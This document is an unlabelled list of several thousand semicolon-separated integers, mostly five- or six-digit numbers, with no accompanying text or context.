26886;41685;65413;106681;72139;32128;11102;72701;42424;43383;40176;78636;83823;52137;58023;106567;22698;99685;41427;71378;51902;96028;105527;85832;86639;81815;25149;65035;31113;76317;59224;36988;39723;43833;51057;54991;78812;50798;50614;82986;79774;78136;45806;99966;82758;80927;28801;35092;12868;12362;32207;51719;35088;57202;70488;51893;46000;45263;65394;26173;28089;32024;15756;53526;18061;14992;12224;83941;66532;63696;13836;81767;68181;73349;102891;44727;10545;88413;73475;53524;62690;31154;71364;25396;37555;26494;29940;92500;57124;10278;19295;65535;37362;77538;59942;22255;59333;74008;90857;29908;69132;37615;30862;106973;75298;71255;41420;28909;20514;26899;38091;83541;96055;44677;17006;69860;42252;99651;74028;24702;79583;96852;58126;57418;94598;85555;59277;91614;78624;51053;53660;91967;49808;88681;47573;92444;33587;23535;68539;27183;51696;82735;103157;101208;68177;64842;51515;54734;106372;23922;74113;13098;94826;105396;30691;40220;88078;18238;75883;22172;10902;90882;35667;32326;53592;24220;63867;41963;94919;97758;26384;95613;40829;22668;44339;51468;38394;78832;11671;103957;22670;44152;15165;96804;77360;31245;33437;23233;46814;72361;34741;70934;103408;25033;80961;16915;30548;26616;52942;31395;92814;48258;28462;27608;72804;103200;96110;72581;49905;102310;13998;70422;55306;18354;86179;87386;93737;53239;70889;41388;51617;13074;61866;28562;102176;92767;100392;63752;51669;28361;45790;76456;31093;80241;96820;69496;50725;18809;78640;58932;93695;32756;76775;82998;80450;47114;26460;57498;89840;32286;97103;94007;91286;61069;63930;96478;103923;85431;30278;88893;103801;36281;21608;63176;49939;88940;83111;95003;37315;38415;21177;104067;46918;49088;68186;200028;36526;83299;62129;24714;47621;60769;90284;56153;55764;22115;29672;87216;68741;29059;11976;71715;102675;87565;82678;95629;58354;50137;26246;89482;45225;61561;105525;75102;11165;24311;27145;11752;20806;70368;93954;72590;40168;34743;31752;102642;78576;96104;84199;10590;55761;79611;84556;59545;64103;105260;90037;53249;62096;61036;91932;34217;33756;25541;22588;84397;20073;91615;23314;19090;56985;91595;58604;102329;32497;60452;82894;77528;63810;96404;72476;74794;101747;73217;36084;61641;105564;84538;38367;21028;94812;76827;90140;38154;31039;63803;83305;42683;36642;29511;16419;29495;57120;58611;41724;40291;85819;30463;61328;21746;104592;62190;27706;69550;50300;44417;101483;76454;58499;44966;91602;97173;48683;102855;62977;87780;22576;49020;56249;55231;64430;80495;20928;70333;10997;82014;69885;55707;80203;81421;43421;88411;21280;86037;42742;103466;34792;102346;87711;20247;96059;77949;27339;19526;13808;93636;43035;85950;39922;77457;33729;34148;75128;65496;59588;90555;32340;89706;106981;13218;13977;42348;66089;20736;85294;66063;16991;31260;11534;68101;84998;22903;20967;83437;69282;11281;94292;43468;28015;95637;26098;73762;34249;39626;84119;97125;14640;28858;52736;89094;79945;53497;27787;61895;29277;22800;106775;23242;74225;35834;65702;68870;39069;100096;74884;52956;103547;32441;85067;49618;74795;73620;57828;58179;67395;62677;87550;57377;35959;76217;41574;87782;94171;82434;93940;51575;17556;89183;37323;75653;73235;56939;35163;101618;73037;17154;11372;19475;78744;91005;64534;46561;41225;25951;18878;67578;58382;93144;91750;26852;102846;33262;78344;24813;33430;85559;27058;106395;58867;69277;67070;65317;21693;63451;19383;58456;73090;62800;58546;52949;22273;79947;18624;45886;104455;35721;80141;22272;106517;79700;97468;38022;89027;46567;64559;14600;22049;22651;21855;93505;10913;85600;89628;93002;39782;77005;67801;52776;45851;22453;84170;52180;25459;60864;21209;76592;104701;87038;43302;15995;46590;23917;59776;104568;82702;84662;83350;78774;56841;26103;57780;34588;105321;41448;95432;81552;93587;25952;15109;92063;97398;72748;102875;69672;86219;29524;92398;48175;69936;100690;58442;67985;56733;56791;43561;83651;106806;100040;24605;51483;72695;63081;52935;11383;90352;50375;67447;28551;19939;94597;38805;10438;81693;76530;61597;59382;23815;89559;32917;74761;41773;57057;100884;66093;86601;83383;58264;24458;80855;85909;21735;28795;10015;69760;51848;21399;102453;56293;104501;29286;10066;68823;84921;22847;32296;91936;72402;81285;97393;78737;17059;92191;51910;91747;43469;89827;71696;68735;74878;35913;32599;92035;85265;35185;78601;59740;49596;41751;41362;35945;80041;13917;92298;60282;54932;105337;21877;90475;52991;24490;62682;13444;101104;26081;88145;19125;29266;99854;11811;67015;97036;62504;21917;37573;52334;50044;85762;73850;41157;87636;107128;82081;94730;30092;96540;91446;88740;13760;76101;92518;81550;75957;36552;47236;79808;102789;45089;93026;48935;85299;89138;22706;23069;27568;106116;49425;20037;53601;39815;31559;29129;53468;30076;82237;45958;30405;25416;105430;77918;49612;31335;35302;82371;16125;103234;31489;26046;16117;39612;93531;71895;91812;91760;65896;102125;106016;39243;78944;96335;81770;56304;20420;105488;34697;12205;91342;104880;88514;45358;95980;68990;38523;13833;99137;43264;69274;66922;101043;84575;81449;17192;86216;66008;85841;90173;39866;72363;43171;56265;52909;21068;70530;62626;96207;75233;13957;66427;55557;14427;91777;88487;30055;43853;44183;58794;94988;57999;25757;36117;53587;56766;64585;19261;59762;94275;36596;47474;105598;24086;66858;56390;46789;19534;39093;79657;16055;58392;34731;36531;15361;38816;22259;54297;82801;81311;47802;89727;39103;103396;21959;68792;84796;94886;97819;63805;12398;96383;62948;21762;43983;58408;104051;95548;27847;200113;90022;83271;80887;75484;94318;73747;91303;40380;40139;87249;105367;33847;31094;79268;106390;72412;14300;105523;26041;78200;101176;55684;66919;77836;15302;104047;78793;17752;33661;103412;56559;11708;39339;70080;70843;64713;82706;19324;88847;26962;104609;20016;16546;41966;24935;72627;34581;86150;76932;83453;80123;22478;78999;84714;40242;23187;106488;26566;106449;58509;14789;95436;11343;72538;88524;62783;43119;67786;71584;54005;31847;35381;77357;102399;57247;50019;19840;57504;21819;54077;64088;44190;49308;18713;10725;92763;56604;61728;105349;60940;64483;15555;57209;36866;72187;12938;90514;34653;105429;72944;54383;104306;37507;86460;17080;15526;60803;14655;15969;70788;41868;84621;96543;69733;44213;48259;61711;53512;19780;46895;76587;61733;69383;56260;11169;20816;86466;84423;92288;95493;55164;44061;105274;94761;51921;82575;90738;47808;56798;55328;28826;93438;72243;94165;40712;39019;13450;32174;54619;106276;20851;10865;51118;25980;14493;72156;53981;75655;28350;105943;83007;61772;105145;36790;90043;66866;60634;22111;77000;102508;70879;88393;14498;31610;48837;87220;16581;83545;57586;69793;43209;79707;38160;59908;106577;63421;104046;75109;92135;69922;50193;12110;91403;63248;38197;33111;43418;34501;90523;101779;66680;81653;84212;80042;41702;83779;23124;104671;12909;102412;96465;22315;25825;68381;17567;69840;61236;74376;20675;60784;100772;74471;44042;26400;16769;105857;38656;72248;17552;58469;20782;63024;53252;24179;40523;38845;38447;91184;18310;93917;100985;49952;87164;200112;58896;97004;30703;90384;15882;90157;43827;14595;23211;12759;40367;40405;18777;104750;69649;85602;31110;74002;71898;85326;18460;18611;26792;95050;11853;17358;76761;57126;73553;75016;17697;99308;17316;48180;48609;28894;19834;70009;18931;46169;40921;58473;21860;75616;86959;15763;42096;68989;37649;68209;93743;43949;103040;13993;104131;79822;38078;66637;70199;55038;32633;84173;72521;35751;52430;58078;32571;60378;103447;29269;32727;95991;74806;66899;18847;61698;13712;65080;95324;78991;106195;68831;17565;14166;23459;63303;16249;69972;16790;18875;106675;82659;90367;44148;89297;44717;67526;54628;56902;59938;84067;59737;46253;23352;68698;95880;36209;45642;67099;75369;44781;30306;39891;45015;78808;92223;69035;52387;99258;68635;58700;36201;57972;53952;24472;85312;43693;71129;17704;78389;94433;96454;97913;60379;73338;104487;101317;63861;22117;106084;47393;15627;27173;13754;84816;62165;27958;13215;43893;35919;16913;99828;39515;86823;25723;54915;64179;100783;92280;83785;25429;18770;72432;93213;69897;87070;45845;13366;61029;47888;25988;76084;55086;43343;23810;66660;29747;84125;36007;67614;84684;66487;21818;13240;48469;97041;58343;17521;83594;106209;90323;33983;25821;14167;25556;101173;75018;72413;89139;53074;35182;80156;36506;19082;73581;32192;31363;99827;93824;17424;105882;89412;27729;32866;13080;92770;103105;94103;56340;33562;57568;65059;27040;62435;76017;34018;76842;91192;75774;90818;99562;57990;47589;78946;46806;82656;12464;82743;91513;67439;85089;12708;84665;10122;50908;66042;63049;85820;58438;93971;96075;12775;92105;44875;11647;27540;39896;18273;49918;89861;84797;34649;77524;36064;55726;83746;59708;96273;33018;36603;68533;96188;105701;25663;68027;105934;43002;26134;89646;99098;12945;82963;20381;89181;70402;46418;42860;62698;57642;64645;17228;49637;19158;43553;11158;53434;65300;24366;99488;102924;84340;11398;67353;53236;20118;51880;34215;51303;45565;89635;40052;106643;65292;68152;15997;54548;26641;37962;44922;65357;28499;39323;16683;15754;84038;26827;97171;28729;80749;16544;33737;102771;104836;21283;15686;53346;103565;90669;73330;54674;84469;45181;38255;67211;104508;26184;47538;82795;69784;27277;65783;90061;71494;48365;35455;52843;80386;92926;90757;12038;33112;41778;22629;34955;27686;53097;70886;93336;71522;62370;65391;35249;86182;101334;95326;68916;75730;16336;86252;83954;58017;76129;80365;56926;103943;18739;35687;26067;88027;105055;99661;22609;104615;16089;96475;66208;84223;91223;106569;103046;66150;100563;79375;17545;64514;18153;53079;85475;30158;58436;55271;84463;94540;82403;78672;99409;92811;77592;24295;27996;13627;41003;61205;88035;58512;50871;63235;33124;12090;94710;24693;94033;36266;56245;52178;52208;97046;88096;63601;69088;84910;84179;67207;15511;58183;32712;88045;24786;17223;106617;50855;66081;27340;50213;20124;92571;88859;52039;18013;55479;24331;19473;71167;30934;26514;100774;58963;84879;17494;72655;55273;20808;39542;13662;35155;41408;87050;14447;89355;68233;57878;72927;52002;28161;46231;13294;42916;52936;41167;53385;63477;25475;83278;62827;13562;51523;44997;11825;28155;15054;40877;86436;22375;106677;77821;51525;104016;40901;19593;63993;17310;89738;77706;55627;95627;71375;50294;44056;66414;77695;80125;54532;106603;65601;66675;73073;96036;78780;84763;36059;53182;84294;60470;47318;15620;29687;76558;86502;32171;91909;94537;21466;31364;69862;86242;103857;70891;74694;52778;38348;18750;51467;56850;60619;43815;20203;55874;103259;101315;58128;63474;20563;86571;30370;24129;101818;81871;42558;73882;44382;13108;46269;54043;22186;75318;38505;30945;77794;81620;61759;30544;73723;65733;57352;40894;15399;66851;93118;19339;15156;60002;42632;73837;44935;52997;53152;46464;46887;80413;60904;23628;105424;19427;25476;15558;54778;48517;40169;76722;79408;85964;37214;80409;47778;75768;79850;69490;28531;99825;19678;83543;58920;90872;41317;80331;76404;41102;18517;10539;38067;12323;68018;103268;101177;72753;73241;55135;44862;66673;34667;43870;100051;81811;32612;106997;29771;105854;30968;101451;75091;69540;17157;34608;31397;55527;73086;57193;47398;58601;55253;21576;106330;79100;59298;23869;39437;52198;72373;78919;62413;54830;60428;70053;88920;67970;22935;97018;45833;71993;90408;26719;53966;20206;70139;73203;38819;71235;81540;99514;105987;70821;19756;64009;75066;81195;24528;62106;22243;85168;34615;11242;23341;14547;16299;11436;30676;56532;52393;26325;91822;95735;87124;58137;70720;13303;80383;105326;76259;20607;74450;96990;48270;80982;44262;61348;77164;88091;56497;80395;68278;13950;106174;13900;29504;85146;67751;16794;23272;65947;101347;40994;41713;50787;15328;63719;26778;42557;39039;27919;17678;86942;41695;10669;103308;19429;31069;18811;62608;44784;49541;38915;23483;10899;59685;68090;56103;33536;49434;29372;69387;80162;47466;20649;20538;62068;63112;12051;32419;21910;77302;45836;106658;58100;58924;16052;33707;33623;94857;97154;83814;92164;56933;69660;74367;56852;48394;54070;75590;23746;44439;84917;66912;65196;85769;60483;75234;90554;35693;82114;23993;78761;94027;80142;85445;102405;41477;74243;64005;102711;85344;101289;47756;95593;24509;87698;13598;90045;71416;84975;26468;57864;44985;25996;39148;67961;95642;66363;97439;11317;63380;91799;25912;65984;102678;70511;22237;41135;23270;13844;14335;61760;80445;55032;45677;101062;78974;67731;58774;59977;53360;69181;84580;73051;48206;14851;105417;32163;74586;17485;63015;56612;43173;102138;11275;78838;15926;74974;83368;43228;62767;30437;102933;80977;53453;105465;101224;41258;10412;72213;17415;12532;99197;77652;10118;101093;52218;75516;60193;23091;105551;70844;106975;52493;39948;66489;56670;53820;84669;32149;86198;96706;50426;26573;41106;72264;103476;41018;78965;91335;60202;32191;75145;63037;48265;12087;40228;59536;39486;38964;85094;77063;49723;30682;87912;50703;28236;68353;67803;14156;18652;48769;34907;74599;73845;33965;66197;86777;51127;11089;64112;74050;55654;93871;42338;71561;105821;31970;41050;69379;51867;24505;99415;21123;97087;10612;95761;20337;86035;32246;75955;94661;90947;55470;20956;79929;56247;75641;97688;62249;69582;25608;58217;49883;71996;65086;70197;73961;85369;105001;93129;71954;53871;27537;60427;102515;94108;22527;11742;32513;31419;76410;90297;73491;39797;49001;77534;55439;96989;63028;27869;200017;16111;45175;33802;65198;26498;102941;62023;69411;16046;17182;69472;31212;68631;67760;85187;97341;82279;60786;67789;74909;102881;58791;76591;42168;66520;11149;104694;96640;32182;53760;71390;82729;13470;200041;50534;37850;105820;103791;63753;16782;47740;65533;65168;56595;34823;81523;26564;43091;85275;72539;45054;44747;43722;103644;44375;82460;35244;63776;36178;17366;17098;51319;55436;66113;63649;48894;83334;88392;44541;63756;69907;32169;78748;81717;87212;76928;77590;28469;94323;65550;102116;78721;38809;72977;24377;36632;13860;106086;38960;54082;31584;65663;20407;64326;23241;97665;59334;47244;87669;10353;24299;39292;71653;67689;75150;16906;20142;36932;20322;27271;43490;106803;102568;13395;21301;46098;27125;200075;47630;87943;81422;32085;30743;30520;99590;30002;27658;91095;76139;92580;50969;48583;77985;32167;77937;24043;23062;77515;83318;73439;76924;37726;81506;19495;81990;92572;71110;45724;48358;14995;88403;65576;12438;82370;90781;19271;96017;55298;88937;89626;77978;36615;30581;10965;84259;30538;89415;57346;45494;31819;14385;101473;106202;55460;103884;89175;37285;63990;27852;69356;11439;13407;78077;24722;35584;99038;54675;43135;82723;40360;83185;41491;73598;80557;31298;70794;74487;60055;10991;106758;22693;22484;103568;57186;23836;91538;67220;36282;60264;50135;62430;36952;86453;78590;72801;90735;44806;86446;57018;89699;94803;99729;21513;18086;92866;97526;74148;106275;45832;102592;28019;94546;28626;68485;76570;50451;10044;50963;37200;31608;99213;66154;54589;96659;96517;105188;25595;48742;34634;75521;22124;19416;79986;14676;13864;12531;26247;43298;14437;25491;74582;63444;65962;54977;52238;58584;105174;82736;33898;97935;85617;14127;39857;78994;72548;13725;42648;23206;43360;84177;31315;32444;45076;25751;91776;76506;86512;70898;54468;29362;79370;43671;100276;52811;40491;91978;26890;55233;83901;33777;61609;51160;29514;91502;28823;102238;81460;79377;68776;74622;46886;70616;16868;94230;77334;56499;71254;88692;79723;14694;97903;63210;93601;20797;56840;61628;49121;89571;65481;36011;78012;45012;69220;51898;84282;13486;83817;57577;16892;94946;61710;15560;45666;48973;65427;11428;101392;27563;64419;10531;84443;63226;46266;32299;33411;62412;25538;70457;11660;38117;64988;37583;69938;51164;26934;43309;86919;68858;18365;33024;91567;64898;90459;43664;26451;43771;90870;42494;94131;67120;64541;32193;86749;44341;62867;29284;28534;93444;42898;81267;26619;72995;64373;35079;100959;66761;69000;74732;101993;36547;66392;36265;58254;16585;61516;53775;68591;62659;52680;24022;50000;68346;30966;86881;73587;43744;58208;99470;96425;89376;12096;39170;57139;77137;87309;33135;76055;22148;99988;51581;79730;32618;95403;70056;88996;30722;105305;24361;96261;32165;90934;45381;103052;94862;21583;94325;37293;91131;39264;25646;73047;70901;75837;37287;74642;28963;35304;76136;81743;102536;37741;92152;52485;29185;80704;81292;75196;74767;24785;77017;53860;54536;21071;41303;36684;77009;81745;37896;68239;89401;34084;61567;45372;97859;93600;13638;23806;62273;92382;55344;49890;16416;48568;39481;81678;19709;59847;73113;85426;80490;91897;96242;32301;66320;52954;64511;46039;29775;93463;89787;67866;31860;63697;21092;92402;72228;71263;43137;22179;99884;27930;14829;22834;52618;28387;104230;78229;71236;14436;51845;61777;44562;80596;72122;56035;76581;18233;104509;64358;68935;60782;42274;79871;90764;97659;102107;92310;40443;85236;96470;104387;32446;63194;105251;104392;37685;27382;57308;103451;106034;29622;29080;105183;68408;27561;80170;11508;65608;90575;18535;74735;63548;31387;94922;37733;10456;83732;86666;71654;44049;61501;44169;93429;36741;88527;31784;50424;103273;105471;41662;31892;87408;30424;53910;47224;83972;47647;47680;47899;77902;78243;56007;45630;64570;88384;70592;97931;104505;56864;76309;21593;71974;96915;85307;73774;45640;95572;96417;97157;48777;104018;69794;100312;76866;87684;60897;60645;18294;95816;93143;29090;63140;48961;54653;72903;107057;106912;83179;55206;73248;50385;72531;73778;28192;42950;83047;69265;62208;21484;58577;27463;82294;37106;11120;31133;83339;55589;23157;101270;46473;13293;66602;92659;50348;106197;17644;99175;30543;14392;25340;16349;44863;71711;54872;200000;36766;15160;103554;89741;28329;104388;44837;49715;68288;81551;85363;33520;80329;75267;36462;83487;73992;58253;15016;65509;35488;56366;46185;70015;15938;41828;30322;39501;105838;43015;91600;21909;96114;48557;30626;85372;16352;76538;21687;60924;63244;58805;84078;81333;100118;85484;84298;23244;42438;11550;26587;24374;24830;72181;92749;22083;21998;76407;49696;41284;33833;65536;103792;22642;100771;27265;55147;32609;13549;38333;94446;51652;35844;44929;56432;26793;70482;32976;13257;92201;11855;78539;94901;103684;41841;28172;20132;56486;30224;93590;84681;77945;56394;74603;79390;51409;31026;40276;86138;18231;46978;33320;84399;74986;25871;81985;10288;35607;27328;21636;14158;32999;104101;99662;85918;88149;70634;34130;33039;46822;12311;24281;101030;65641;14226;73637;71000;52377;30675;66523;36976;18564;66451;10584;39689;44050;62699;38087;38756;94099;58559;60966;51590;96250;106135;93023;12704;28005;95476;17088;47004;11429;89992;62705;75908;67946;19071;62239;105689;72613;72844;72717;25773;48696;83589;95842;61305;54584;37295;95846;60863;88756;93106;77129;73806;25015;52621;52202;84464;105590;41601;37111;12435;16479;103284;31832;19643;75704;49153;12965;67986;35283;52147;85451;85809;105420;93152;12827;55916;94483;99540;63358;37504;46589;12656;63915;44075;78073;77011;64219;25794;85096;15805;37252;33367;46114;30547;33494;11027;52177;15141;77622;96457;12996;33931;72895;25920;77311;78367;47013;35308;40717;52876;52219;47832;94925;103952;103144;56346;12556;62606;42908;33345;80726;87457;47371;75708;39541;31555;90587;52507;58431;88714;78939;27823;44821;61707;89462;38905;42143;91791;105905;96987;101817;77151;93496;67154;70855;51855;78147;31323;70782;50172;101532;63827;75714;46143;26512;32009;22749;13886;65712;101448;17188;86701;54810;37872;51401;69658;80046;13424;83369;32950;51090;59816;11685;69931;68104;36129;93138;18452;56658;29069;99434;56472;25517;69964;44430;101784;70640;102766;45689;24915;94713;15501;42766;49862;54969;58086;40731;14461;65381;29445;55440;82290;106224;91411;78665;11043;15843;73971;79517;44352;93544;24465;60947;18661;20379;80317;71543;62752;22380;17721;83304;53110;42565;38640;103975;34142;90100;49978;64166;33187;99007;30051;32635;69487;45224;34912;21645;16528;17319;83020;103706;22943;83360;88530;92229;85115;14064;84776;64588;83955;69933;14912;10919;51088;19171;39270;57160;54312;34028;10189;24542;24533;89118;106027;27028;23961;66319;18521;95369;83859;23462;65992;25559;95964;62811;64500;96245;86154;69666;54765;94282;102658;57868;39733;52072;28383;57880;94610;29895;48995;41701;71679;20749;32710;94647;38300;51904;53393;90634;39691;67212;21308;80260;19392;28885;97578;26114;44822;83251;64039;90930;55989;106131;56111;85834;92380;58647;22794;65946;20418;101570;47513;12260;43046;93911;61950;44520;28876;103740;69199;46493;80786;58376;21907;53751;26386;14980;32247;58585;85674;34480;30073;50724;81436;91040;35437;54174;84076;72580;37954;68773;101215;42292;99300;87793;96644;92182;16311;43758;83688;75926;41306;51305;82071;91855;60667;66789;63859;35523;104015;66710;87556;18351;78225;33922;78574;30552;53445;18903;64139;11375;40554;106338;64457;46154;37160;31238;39411;101777;89411;52656;50226;65328;61257;15327;59663;45635;89941;14256;88480;72040;63878;67587;26526;41460;72620;40986;52113;10487;77730;55926;78339;105573;85003;47894;69353;71512;66200;26967;88009;89074;83843;38883;89784;45877;39020;19296;91751;75243;93103;105009;27151;13245;71579;32360;84857;102967;34027;70291;95043;102595;70583;37070;17203;68863;50023;100859;13762;45237;48403;40452;23739;88430;64846;43998;41732;69183;88883;71742;70467;70458;90877;24276;45119;10906;49999;90008;35311;10274;68754;31304;92290;80302;92663;82428;59935;31782;46885;100829;47361;73533;29024;27120;77934;35387;25929;71311;42905;80648;32667;87217;96973;22260;79894;53743;101219;14067;56477;101107;52584;58796;45297;91661;73061;54413;27334;64119;14519;42071;57711;34639;60965;24585;26824;26458;38997;32038;28390;84031;41170;77637;104176;46796;71095;44982;86296;45725;29891;86648;65717;31840;16347;54144;103187;102218;80449;97131;53886;21052;21817;78003;78249;72292;57507;38077;34577;95834;100801;18386;84707;55690;94740;31572;102099;11896;53537;72909;82291;18896;54422;17510;61519;53029;103577;64439;82111;101447;12261;60792;50084;40284;50538;80879;66095;41146;81463;86030;30418;70540;36955;90929;94767;27309;88100;82319;78462;93169;55324;43436;28165;89783;59600;94060;100561;21516;75536;52596;94235;78094;40602;53749;25351;89608;92076;106839;68688;54135;103940;78256;76702;92835;26148;11049;16650;32339;56025;83538;67418;72912;69622;102251;23347;24557;27056;81594;30214;26919;66977;56303;91311;88992;40192;81768;56319;104132;70973;104608;101847;95962;26055;43054;75386;15872;14214;104940;59387;82037;27006;97166;63058;60983;86716;105147;73548;61635;90021;59585;76330;104597;66619;31745;16074;43924;32242;33350;100574;84782;32624;12093;21179;15736;28644;70756;68183;97679;55860;76151;55103;97774;99161;66647;103995;53938;23153;27288;90623;100440;28592;89399;57714;103057;71846;69628;81689;43909;13415;104551;90080;44259;44174;36230;84610;18456;51742;90604;28227;78545;85829;32199;52356;10194;102019;16155;14700;29095;30130;40809;95257;28030;91899;101771;104883;85849;61344;91746;73544;31632;43651;104181;38385;102856;13606;71366;23891;77409;49449;90317;105956;10477;42247;32168;77287;41704;42951;13742;35800;31175;48838;81878;11033;81601;92373;41808;44909;41867;49910;27238;36885;45670;45924;45353;97285;101327;13113;67232;99188;105059;58480;102763;82124;100873;72930;72196;35657;74552;15161;67545;44494;50968;52658;102821;21382;82690;69560;54551;57725;88037;40718;93675;82936;78835;60773;45040;82781;104260;48753;36750;59833;60216;91383;25919;15479;51813;79409;37969;58212;12950;11022;85664;48479;67421;32449;11909;24737;80936;89764;56546;93908;106734;86235;81256;47733;67455;13826;80754;20788;92637;17744;25411;104661;47649;28683;34228;107027;16228;97258;30154;71769;85623;63411;89161;86227;104992;89145;28798;91049;84089;36285;49738;41061;105842;91244;101282;20555;77839;42718;93456;74020;36686;17308;86920;51205;28393;46703;15233;67909;106785;55742;40289;51168;20390;83472;15339;102223;105227;36179;76179;78192;13375;42842;85455;62806;29807;38101;76319;27425;72891;28694;71990;17298;16815;57075;43132;72759;60841;24942;14157;80883;14202;96744;29801;80471;51668;53377;87716;34707;88062;42262;63788;75639;67544;24753;27987;66186;43580;105399;56060;105474;20292;54248;87500;36569;99759;32604;59855;89476;63505;105023;40149;37547;101340;102936;40566;68535;91178;58101;103372;72519;84623;55370;46924;17383;104120;17784;83550;91895;67396;94296;100406;15759;12832;34721;54700;94872;27773;85211;61603;95815;73808;88767;16317;86988;95516;33745;80552;84772;105304;59157;50974;95857;68940;23460;102677;103976;87450;39696;72720;78060;85589;92032;18532;32678;62939;92260;27955;105575;80504;95788;54905;20652;66259;19273;78511;99529;61081;101498;35078;81567;17562;33975;47096;88383;101486;25282;96546;42254;84373;78274;27132;89045;39284;44111;26769;97323;50048;52598;64918;14463;61026;54807;42541;91535;26043;52532;18753;36795;74593;22240;22409;107069;40853;87053;20968;45959;69927;92879;38258;37352;61104;81005;62651;107043;49583;23259;11325;85408;17296;77467;57425;29098;97977;26539;35819;37642;97753;104372;10174;66526;105105;94723;20971;75772;23804;25529;96940;78061;20463;59697;24763;41009;13436;101238;51811;21542;104266;24174;48853;69617;99803;40979;15192;61456;35268;92966;34981;40250;61667;20277;41462;87664;18563;92473;46152;64829;104038;53153;80516;55142;78138;26023;94928;54955;80781;51079;19238;104514;103939;78549;72042;94373;66475;28220;83573;13899;36524;90694;79331;21704;82270;43153;83428;48186;61589;79767;58555;25977;47489;10029;49595;68361;67691;25666;48548;69795;79699;88876;79779;93053;22427;70698;54264;30777;91519;71635;71997;89374;15001;11195;75132;92206;75890;85441;101559;77738;14119;61865;92927;38189;21673;103203;96173;72642;30631;34196;11130;102093;55975;89318;23505;49355;59756;13532;92539;61582;39107;66187;37880;20868;89883;23745;84413;77266;104043;11050;30599;57709;55927;51779;43108;95474;65758;70604;68777;107125;84842;61613;97993;20892;100084;99960;96329;95752;58897;101325;104106;22045;95531;66860;20139;12212;107018;10151;103197;65447;34905;28695;18728;84012;14058;22827;10926;58199;45200;29564;92403;97617;54360;29696;89568;79639;31903;63720;86869;65881;61717;61684;80617;61068;105453;20042;12541;72066;63290;61622;95963;31591;11860;68266;95347;87540;104923;93148;14831;33184;80482;68257;39210;54126;18286;74189;16676;91638;106181;43569;65438;10268;24241;55549;81361;95607;94801;77224;73629;79079;73560;71767;13300;25063;16163;46245;43926;37170;65907;37062;50120;16755;73006;68143;27036;35060;105521;103448;57403;26099;31888;84643;79649;16206;53382;68456;97692;55254;60568;76683;56274;31301;45907;46969;35935;36869;19279;94969;86984;44101;34048;104780;41173;101183;79273;35858;38951;39824;40752;89952;82787;83820;49914;39897;103804;104838;82889;74633;97954;54244;31244;50036;41375;78890;76540;10051;52945;28720;23537;200066;23730;71700;86166;27737;41731;27392;14231;22978;60479;92831;90412;82155;82314;103489;69141;30540;100214;59435;44857;31567;74754;53908;99136;92122;73902;90635;19884;54436;77569;33287;37882;17337;72284;30393;63780;71938;20508;37251;46294;14033;29865;45929;102090;74776;33346;26160;40694;28072;96591;104113;89931;11307;48438;43094;27750;84730;89522;103319;75048;61898;43028;94395;95630;83827;33283;28049;40122;61183;55215;45645;90786;36957;15418;27734;30648;93452;44996;27739;45948;45449;47400;41733;47628;53626;54849;87845;72529;19885;42894;54524;73382;69115;14044;84847;36156;44801;58388;74885;21358;95722;51709;94850;19770;23620;65046;99166;68584;68081;85637;40755;15366;53815;26183;55840;25832;36728;70876;43742;78298;39903;77466;82367;79974;37803;43634;25359;200077;70646;35988;70231;44688;83738;51899;28846;97978;26478;64887;96220;80780;94016;33014;36380;104970;48243;100971;27667;43501;18635;11707;31758;91329;95609;41162;26012;22630;39523;70214;101812;20900;22751;76171;103229;10680;76205;73303;52416;40373;29387;61083;200050;75503;82770;77078;105914;21345;51962;72692;63188;105112;33575;103186;61329;97818;30088;88957;99796;51757;14003;16917;80858;75097;93957;64351;103214;60735;76668;16499;22714;78358;13812;60708;32189;13773;87998;65534;15678;81400;56561;85032;87553;46351;72957;44293;53375;87043;37567;52775;36405;97066;66895;63948;70034;73231;20332;18932;35720;27423;50568;33403;78734;56878;44165;26615;102756;69105;72582;82975;80550;103138;83063;49811;12011;26113;13884;69086;95620;67532;58213;87834;76738;70943;89508;97733;64632;96097;50187;64647;81451;31288;56330;107121;75472;80185;64574;48183;22280;90309;93588;25066;56801;105467;84245;10052;100691;91514;72444;96190;68287;96969;57218;78959;96572;89698;27489;80250;50585;10866;64962;12347;82006;43828;64452;100989;81298;68892;62548;94122;82607;75816;75744;83120;46173;46509;78888;16747;20758;63856;50595;71531;88118;35219;106723;21292;23037;12229;27182;104805;57360;69937;84717;92590;17107;86873;40199;56470;41635;13101;18956;73692;34572;14533;104311;50311;92218;54732;50417;38120;73593;72824;65578;99029;58806;40763;34342;36985;51943;76650;51155;27691;55717;71994;72192;21240;59193;35747;21648;41797;83799;79172;43697;32325;67411;15308;18539;87982;63794;23108;56960;102831;62769;76695;84093;87054;43101;65736;81691;77904;93116;45814;32943;91667;10090;12267;93237;101471;30109;81079;83670;17791;30916;38492;29636;64606;77692;32218;103215;65125;33412;60435;102115;23873;82545;33609;65266;53600;85604;64495;77292;34965;39811;89777;59832;51697;13757;84766;33193;44080;103270;77610;48408;18788;53853;61646;37253;50531;26843;79676;58524;12504;48988;34915;37974;79853;80649;73407;89621;15734;10008;79387;17504;20224;71093;37527;26470;65843;47526;45176;105787;56978;62424;20412;90974;28134;90975;92251;82879;105421;39014;31382;30458;80816;65007;69034;92905;84574;28641;92185;47473;12204;29064;31708;11294;58256;104963;17618;103562;59100;85838;36105;53747;10204;43324;99808;59097;15395;43012;48409;10203;24211;46103;28374;58003;24793;31523;28681;103072;50924;44314;13487;20336;67744;81470;51578;68274;83694;49479;88634;63165;29392;60743;10206;29929;76626;104740;102503;53912;29441;41145;106668;83104;44320;81865;44878;25812;25435;15061;54892;32287;28078;34766;38404;28631;18789;41727;99066;13943;90467;79653;90855;13151;91604;72699;48146;72178;104707;62280;69621;12251;44689;15873;77782;53296;95412;29250;80215;20990;89026;67155;96643;29707;54654;21863;46102;81625;10460;64621;20733;51423;102615;55956;85697;60636;18929;34514;75877;65016;57926;18827;39273;77026;15350;56783;55902;89273;62419;86495;12715;85703;48869;58528;90602;48861;28052;36029;18967;33758;68088;46345;66825;24254;100775;42972;18221;48757;78055;39717;65612;50679;89132;105088;23364;95708;27593;47741;79626;57694;54787;48638;18313;68222;80918;44256;78657;17271;45074;54166;48164;88880;69619;76190;25813;51314;18769;46176;101165;100230;31023;55662;15377;21989;14155;25128;42499;51746;89985;68755;16310;51672;38674;10183;37569;16822;25361;39697;48633;65223;102301;26227;38326;99392;52000;44708;49029;14619;35750;105540;14599;57129;78818;61815;29941;71437;48453;23513;14850;11829;36237;106004;95010;29337;53974;85973;84923;18605;21384;56535;75731;64820;50321;74195;43163;11728;100151;42432;77351;11612;18531;57779;66896;27169;29401;65049;52131;70612;10155;96244;21084;85570;106123;65018;73954;31262;66982;65043;19991;106485;24335;26653;